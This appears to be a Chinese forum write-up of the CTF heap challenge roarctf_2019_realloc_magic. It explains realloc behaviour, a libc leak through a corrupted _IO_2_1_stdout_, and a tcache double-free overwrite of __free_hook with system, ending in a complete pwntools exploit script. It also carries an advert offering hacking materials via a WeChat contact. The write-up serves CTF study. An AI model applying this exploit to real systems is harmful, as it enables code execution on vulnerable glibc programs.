realloc函数应用&IO泄露体验

[复制链接]
发表于 2023-10-8 01:44:25 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
本题主要介绍realloc函数,平时我们使用realloc最多便是在打malloc_hook-->onegadget的时候,使用realloc_hook调整onegadget的栈帧,从而getshell。
在realloc函数中,也能像malloc一样创建堆,并且比malloc麻烦一些,但是倒是挺有趣的。
realloc

realloc(realloc_ptr, size)有两个参数,并且在特定参数有特定效果

  • size == 0 ,这个时候等同于free。也就是free(realloc_ptr),并且返回空指针。即没有uaf
  • realloc_ptr == 0 && size > 0 , 这个时候等同于malloc,即malloc(size)
  • malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
  • malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉
stdout泄露

这里我只给出结论,具体可以参考

  • 设置_flags & _IO_NO_WRITES = 0
  • 设置_flags & _IO_CURRENTLY_PUTTING = 1
  • 设置_flags & _IO_IS_APPENDING = 1
    1. _flags = 0xFBAD1800
    复制代码
  • 设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾,程序中自带地址足够泄露libc)
具备以上基础我们可以来实战一题了
roarctf_2019_realloc_magic
  1. Arch:     amd64-64-little
  2. RELRO:    Full RELRO
  3. Stack:    Canary found
  4. NX:       NX enabled
  5. PIE:      PIE enabled
复制代码
64位,保护全开
前情提要:
本题部署在2.27-3ubuntu1_amd64/libc-2.27.so
建议关闭linux地址空间随机化(ASLR),方便调试。
在root用户下执行
  1. echo 0 > /proc/sys/kernel/randomize_va_space
复制代码
realloc
  1. int re()
  2. {
  3.   unsigned int size; // [rsp+Ch] [rbp-4h]
  4. ​
  5.   puts("Size?");
  6.   size = get_int();
  7.   realloc_ptr = realloc(realloc_ptr, size);
  8.   puts("Content?");
  9.   read(0, realloc_ptr, size);
  10.   return puts("Done");
  11. }
复制代码
free
  1. int fr()
  2. {
  3.   free(realloc_ptr);
  4.   return puts("Done");
  5. }
复制代码
存在uaf,可以利用起来
这里有个清零指针的函数
  1. int ba()
  2. {
  3.   if ( lock )
  4.    exit(-1);
  5.   lock = 1;
  6.   realloc_ptr = 0LL;
  7.   return puts("Done");
  8. }
复制代码
程序特别简单,但是利用比较精妙,
在realloc的时候,因为每次都是使用realloc_ptr,并且没有变化,导致每次申请的chunk都会写在在realloc_ptr指向的地址,再次申请比上一次的size大就可以往后溢出写
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
思路

通过realloc,和uaf,构造好tcache的布局
然后把_IO_2_1_stdout 链到bin里面,通过stdout泄露libc,得到free_hook
最后正常打free_hook:free_hook-->system-->/bin/sh
首先利用malloc(size)和free(size)在tcache上面先准备好
malloc(size)可以由realloc(realloc_ptr,size)得到(本文上面的第二个效果)
free(size)可以由realloc(realloc_ptr,size=0)得到(本文上面的第一个效果)
  1. realloc(0x20,b'b')  #这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备
  2. realloc(0,"")
  3. realloc(0x90,b'b')
  4. realloc(0,"")
  5. realloc(0x10,b'b')
  6. realloc(0,"")
复制代码
  1. realloc(0x90,b'b')
  2. for i in range(7):
  3.    dele()
  4. realloc(0,"")
复制代码
这一步非常重要,首先将0x90的地址申请回来,赋值给realloc_ptr,在通过uaf,tcache double free free掉7次,填满tcache bin,然后再free一次,使0x90进入到unsortedbin,把main_arena链进来
为什么第八次free需要使用realloc去free呢?
因为首先是因为用来链上unsortedbin,其次用来清空掉realloc_ptr指针,不影响后面的chunk使用
[img=720,290.3703703703704]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309271425598.png[/img]
看一下此时的堆空间
[img=720,313.89645776566755]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309271425599.png[/img]
  1. realloc(0x20,b"aaa")
  2. pl=p64(0)*5+p64(0x81)+b"\x60\xc7"
  3. #realloc(0x50,b'aaa')
  4. #这里的注释是用来方便看你申请的堆放哪里去了,可以自己看一下
  5. realloc(0x50,pl)
复制代码
这里看上面图片的堆布局,如果你用了注释看了一下gdb,就知道为什么这样摆了,
后面申请的0x50是因为能刚好申请到更改unsortedbin的范围,大一点也没关系
首先改chunkB,也就是我们放入unsortedbin的chunk,改掉size值,可以结合realloc(0),多一次malloc
后面的"\x60\xc7"看图就知道了

_IO_2_1_stdout_跟main_arena相差了4位,并且低三位是固定的,只需要爆破一位
(因为我关闭了ASLR,所以直接\x60\xc7打本地不用爆破一次通(x))
直接看成果图


可以发现成功链上了_IO_2_1_stdout_,接下来我们只需要把他申请回来就行
  1. realloc(0,"")
  2. realloc(0x90,b'aa')
  3. realloc(0,"")
  4. pl=p64(0xfbad1887)+p64(0)*3+b'\x58'
  5. realloc(0x90,pl)
复制代码
这里就涉及到_IO_2_1_stdout_泄露libc了,(下图都还没改的
0xfbad1887照着原来的就行低两位,高地址就是取我们设定好的0xFBAD1800
[img=720,146.78709677419354]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309271425603.png[/img]

这里前面的_IO_read_xx用p64(0)填充掉,然后利用_IO_write_base设置指向想要泄露位置,比如说改成\x58
也就是
[img=720,275.9843546284224]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202309271425605.png[/img]
把_IO_file_jumps泄露出来,就可以计算libc,别的位置都可以,只需要是能算libc的即可
然后算出free_hook,system的libc地址,
接下来首先先用给的清理realloc_ptr的函数,将realloc_ptr置0
  1. sla(menu,'666')
  2. ​
  3. realloc(0x30,b'a')
  4. realloc(0,"")
  5. realloc(0xa0,b'a')
  6. realloc(0,"")
  7. realloc(0x10,b'b')#2
  8. realloc(0,"")
  9. realloc(0xa0,b'b')
  10. for i in range(7):
  11.     dele()
  12. realloc(0,"")
  13. realloc(0x30,b'a')
复制代码
  1. pl=p64(0)*7+p64(0x71)+p64(free-8)
  2. realloc(0x70,pl)
  3. realloc(0,"")
  4. realloc(0xa0,b'a')
  5. realloc(0,"")
  6. realloc(0xa0,b'/bin/sh\x00'+p64(sys))
  7. dele()
复制代码
free-8是为了放好/bin/sh,然后顺便下一个将free_hook改成system
完整exp:
  1. from pwn import*
  2. ​
  3. def debug(cmd = 0):
  4.        if cmd == 0:
  5.            gdb.attach(r)
  6.        else:
  7.            gdb.attach(r,cmd)
  8.        pause()
  9. ​
  10. menu=b">>"
  11. def realloc(size,con):
  12.    r.sendlineafter(menu, b'1')
  13.    r.sendlineafter(b'ize',str(size))
  14.    r.sendafter(b'ent',con)
  15. def dele():
  16.    r.sendlineafter(menu,b'2')
  17.    
  18. libc=ELF("libc-2.27.so")
  19. ​
  20. context(os='linux', arch='amd64',log_level='debug')
  21. ​
  22. ​
  23. def pwn():
  24.    realloc(0x20,b'b')
  25.    realloc(0,"")
  26.    realloc(0x90,b'b')
  27.    realloc(0,"")
  28.    realloc(0x10,b'b')
  29.    realloc(0,"")
  30. ​
  31.    realloc(0x90,b'b')
  32.    for i in range(7):
  33.        dele()
  34.    realloc(0,"")
  35.    realloc(0x20,b"aaa")
  36.    payload=p64(0)*5+p64(0x81)+b"\x60\xc7"
  37.    #realloc(0x50,b'aaa')
  38.    realloc(0x50,payload)
  39.    
  40.    realloc(0,"")
  41.    realloc(0x90,b'aa')
  42.    realloc(0,"")
  43.    payload=p64(0xfbad1886)+p64(0)*3+b'\x58'
  44.    realloc(0x90,payload)
  45.    #debug()
  46.    leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['_IO_file_jumps']
  47.    print(hex(leak))
  48.    free=leak+libc.sym['__free_hook']
  49.    system=leak+libc.sym['system']
  50. ​
  51.    r.sendlineafter(menu,'666')
  52. ​
  53.    realloc(0x30,b'a')
  54.    realloc(0,"")
  55.    realloc(0xa0,b'a')
  56.    realloc(0,"")
  57.    realloc(0x10,b'b')#2
  58.    realloc(0,"")
  59.    realloc(0xa0,b'b')
  60.    for i in range(7):
  61.        dele()
  62.    realloc(0,"")
  63.    realloc(0x30,b'a')
  64. ​
  65.    payload=p64(0)*7+p64(0x71)+p64(free-8)
  66.    realloc(0x70,payload)
  67.    realloc(0,"")
  68.    realloc(0xa0,b'a')
  69.    realloc(0,"")
  70.    realloc(0xa0,b'/bin/sh\x00'+p64(system))
  71.    dele()
  72.    r.interactive()
  73. ​
  74. for i in range(1):
  75.    try:
  76.        r=process("./pwn")
  77.        pwn()
  78.        break
  79.    except:
  80.        r.close()
复制代码
   更多网安技能的在线实操练习,请点击这里>>
 
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表